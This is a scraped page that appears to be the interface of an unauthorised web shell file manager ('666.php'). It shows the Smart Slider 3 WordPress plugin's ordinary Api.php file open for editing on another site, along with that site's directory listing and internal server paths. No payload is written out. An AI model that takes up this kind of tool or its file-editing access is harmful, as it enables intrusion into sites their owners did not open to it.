??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/mayshine.co.uk/wp-content/plugins/smart-slider-3/Nextend/Framework/Api.php
⬅ Kembali
<?php
namespace Nextend\Framework;
use Exception;
use Joomla\CMS\Http\Http;
use Nextend\Framework\Misc\Base64;
use Nextend\Framework\Misc\HttpClient;
use Nextend\Framework\Notification\Notification;
use Nextend\Framework\Platform\Platform;
use Nextend\Framework\Request\Request;
use Nextend\Framework\Url\Url;
class Api {
private static $api = 'https://api.nextendweb.com/v1/';
public static function getApiUrl() {
return self::$api;
}
public static function api($posts, $returnUrl = false) {
$api = self::getApiUrl();
$posts_default = array(
'platform' => Platform::getName()
);
$posts = $posts + $posts_default;
if ($returnUrl) {
return $api . '?' . http_build_query($posts, '', '&');
}
$request = wp_remote_post($api, array(
'timeout' => 20,
'body' => $posts
));
if (is_wp_error($request)) {
foreach ($request->get_error_messages() as $errorMessage) {
Notification::error($errorMessage);
}
return null;
} else {
$data = wp_remote_retrieve_body($request);
$headers = wp_remote_retrieve_headers($request);
$contentType = $headers['content-type'];
}
switch ($contentType) {
case 'text/html; charset=UTF-8':
Notification::error(sprintf('Unexpected response from the API.<br>Contact us (support@nextendweb.com) with the following log:') . '<br><textarea style="width: 100%;height:200px;font-size:8px;">' . Base64::encode($data) . '</textarea>');
return array(
'status' => 'ERROR_HANDLED'
);
break;
case 'application/json':
return json_decode($data, true);
}
return $data;
}
private static function parseHeaders(array $headers, $header = null) {
$output = array();
if ('HTTP' === substr($headers[0], 0, 4)) {
list(, $output['status'], $output['status_text']) = explode(' ', $headers[0]);
unset($headers[0]);
}
foreach ($headers as $v) {
$h = preg_split('/:\s*/', $v);
if (count($h) >= 2) {
$output[strtolower($h[0])] = $h[1];
}
}
if (null !== $header) {
if (isset($output[strtolower($header)])) {
return $output[strtolower($header)];
}
return null;
}
return $output;
}
}
Nama
Tipe
Ukuran
Diubah
Aksi
📁 Acl
dir
—
2026-06-17 03:06
📁 Application
dir
—
2026-06-17 03:06
📁 Asset
dir
—
2026-06-17 03:06
📁 Browse
dir
—
2026-06-17 03:06
📁 Cache
dir
—
2026-06-17 03:06
📁 Content
dir
—
2026-06-17 03:06
📁 Controller
dir
—
2026-06-17 03:06
📁 Data
dir
—
2026-06-17 03:06
📁 Database
dir
—
2026-06-17 03:06
📁 FastImageSize
dir
—
2026-06-17 03:06
📁 Filesystem
dir
—
2026-06-17 03:06
📁 Font
dir
—
2026-06-17 03:06
📁 Form
dir
—
2026-06-17 03:06
📁 Image
dir
—
2026-06-17 03:06
📁 Localization
dir
—
2026-06-17 03:06
📁 Misc
dir
—
2026-06-17 03:06
📁 Model
dir
—
2026-06-17 03:06
📁 Notification
dir
—
2026-06-17 03:06
📁 Parser
dir
—
2026-06-17 03:06
📁 Pattern
dir
—
2026-06-17 03:06
📁 Platform
dir
—
2026-06-17 03:06
📁 Request
dir
—
2026-06-17 03:06
📁 ResourceTranslator
dir
—
2026-06-17 03:06
📁 Response
dir
—
2026-06-17 03:06
📁 Router
dir
—
2026-06-17 03:06
📁 Session
dir
—
2026-06-17 03:06
📁 Style
dir
—
2026-06-17 03:06
📁 Translation
dir
—
2026-06-17 03:06
📁 Url
dir
—
2026-06-17 03:06
📁 View
dir
—
2026-06-17 03:06
📁 Visual
dir
—
2026-06-17 03:06
📁 WordPress
dir
—
2026-06-17 03:06
📄 .htaccess
htaccess
237 B
2026-06-23 08:04
🐘 Api.php
php
2.5 KB
2026-05-29 00:15
🐘 Cast.php
php
277 B
2026-05-29 00:15
🐘 Framework.php
php
412 B
2026-05-29 00:15
🐘 PageFlow.php
php
590 B
2026-05-29 00:15
🐘 Plugin.php
php
1.4 KB
2026-05-29 00:15
🐘 Sanitize.php
php
31.5 KB
2026-05-29 00:15
🐘 Settings.php
php
1.9 KB
2026-05-29 00:15